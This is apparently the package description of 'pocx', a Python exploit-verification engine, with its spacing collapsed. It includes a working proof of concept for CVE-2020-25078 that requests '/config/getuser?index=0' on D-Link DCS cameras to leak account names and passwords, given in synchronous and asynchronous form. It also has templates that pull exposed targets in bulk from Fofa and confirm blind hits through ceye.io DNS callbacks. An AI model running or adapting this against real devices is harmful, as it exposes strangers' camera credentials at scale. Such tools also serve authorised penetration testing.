Package: pocx
pocxA Simple, Fast and Powerful poc engine tools was built by antx, which support synchronous mode and asynchronous mode.Descriptionpocx is a simple, fast and powerful poc engine tools, which support synchronous mode and asynchronous mode. pocx also
support some useful features, which like fofa search and parse assets to verify. You also can use smart method to verify
some special assets by using ceyeio, which it is cannot return or display the result.Installpip3installpocxUsagePOC Template# Title: xxxxxxx# Author: antx# Email: 7877940+antx-code@users.noreply.github.com# CVE: CVE-xxxx-xxxxxfrompocximportBasicPoc,AioPocclassPOC(BasicPoc):def__init__(self):self.name='poc'super(POC,self).__init__()defpoc(self,target):"""your poc code here."""returnif__name__=='__main__':target='http://127.0.0.1'cve=POC()cve.run(target)Synchronous Mode Example# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078# Author: antx# Email: 7877940+antx-code@users.noreply.github.com# CVE: CVE-2020-25078frompocximportBasicPocfromloguruimportloggerclassDLinkPoc(BasicPoc):@logger.catch(level='ERROR')def__init__(self):self.name='D_Link-DCS-2530L'super(DLinkPoc,self).__init__()@logger.catch(level='ERROR')defpoc(self,target:str):poc_url='/config/getuser?index=0'try:resp=self.get(target+poc_url)ifresp.status_code==200and'name='inresp.textand'pass='inresp.textand'priv='inresp.text:logger.success(resp.text)elifresp.status_code==500:logger.error(f'[-]{target}{resp.status_code}')exceptExceptionase:logger.error(f'[-]{target}{e}')if__name__=='__main__':target='http://127.0.0.1'cve=DLinkPoc()cve.run(target)Asynchronous Mode Example# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078# Author: antx# Email: 7877940+antx-code@users.noreply.github.com# CVE: CVE-2020-25078frompocximportAioPocfromloguruimportloggerclassDLinkPoc(AioPoc):@logger.catch(level='ERROR')def__init__(self):self.name='D_Link-DCS-2530L'super(DLinkPoc,self).__init__()@logger.catch(level='ERROR')asyncdefpoc(self,target:str):poc_url='/config/getuser?index=0'try:resp=awaitself.aio_get(target+poc_url)ifresp.status_code==200and'name='inresp.textand'pass='inresp.textand'priv='inresp.text:logger.success(resp.text)elifresp.status_code==500:logger.error(f'[-]{target}{resp.status_code}')exceptExceptionase:logger.error(f'[-]{target}{e}')if__name__=='__main__':target='http://127.0.0.1'cve=DLinkPoc()cve.run(target)Useful FunctionsFoFa# Title: xxxxxxx# Author: antx# Email: 7877940+antx-code@users.noreply.github.com# CVE: CVE-xxxx-xxxxxfrompocximportBasicPoc,AioPocfrompocx.funcsimportFofaclassPOC(BasicPoc):def__init__(self):self.name='poc'super(POC,self).__init__()defpoc(self,target):"""your poc code here."""returnif__name__=='__main__':grammar='app="xxxxxx"'cve=POC()fofa=Fofa()fofa.set_config(api_key='xxxxxx',api_email='xxxxxx')print(f'[+] the asset account of grammar:{grammar}are:{fofa.asset_counts(grammar)}')pages=fofa.asset_pages(grammar)forpageinrange(1,pages+1):print(f'[*] page{page}')assets=fofa.assets(grammar,page)cve.run(assets)Ceye# Title: xxxxxxx# Author: antx# Email: 7877940+antx-code@users.noreply.github.com# CVE: CVE-xxxx-xxxxxfrompocximportBasicPoc,AioPocfrompocx.funcsimportCeyeclassPOC(BasicPoc):def__init__(self):self.name='poc'super(POC,self).__init__()self.ceyeio=Ceye()defpoc(self,target):pid=self.ceyeio.generate_payload_id()self.ceyeio.set_config(api_token='xxxxxx',identifier='xxxxxx.ceye.io')"""your poc code here."""self.ceyeio.verify(pid,'dns')returnProxy# Title: xxxxxxx# Author: antx# Email: 7877940+antx-code@users.noreply.github.com# CVE: CVE-xxxx-xxxxxfrompocximportBasicPoc,AioPocfrompocx.funcsimportCeyeclassPOC(BasicPoc):def__init__(self):self.name='poc'super(POC,self).__init__()self.ceyeio=Ceye()defpoc(self,target):pid=self.ceyeio.generate_payload_id()self.ceyeio.set_config(api_token='xxxxxx',identifier='xxxxxx.ceye.io')self.set_headers({'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, ''like Gecko) Chrome/87.0.4280.88 Safari/537.36'})proxy={'all://':'http://127.0.0.1:7890',}"""or use httpx support proxy:proxy = {'http://': 'http://127.0.0.1:7890','https://': 'https://127.0.0.1:7890',}"""self.set_proxies(proxy)"""your poc code here."""self.ceyeio.verify(pid,'dns')returnif__name__=='__main__':target='http://127.0.0.1:8888'cve=POC()cve.run(target)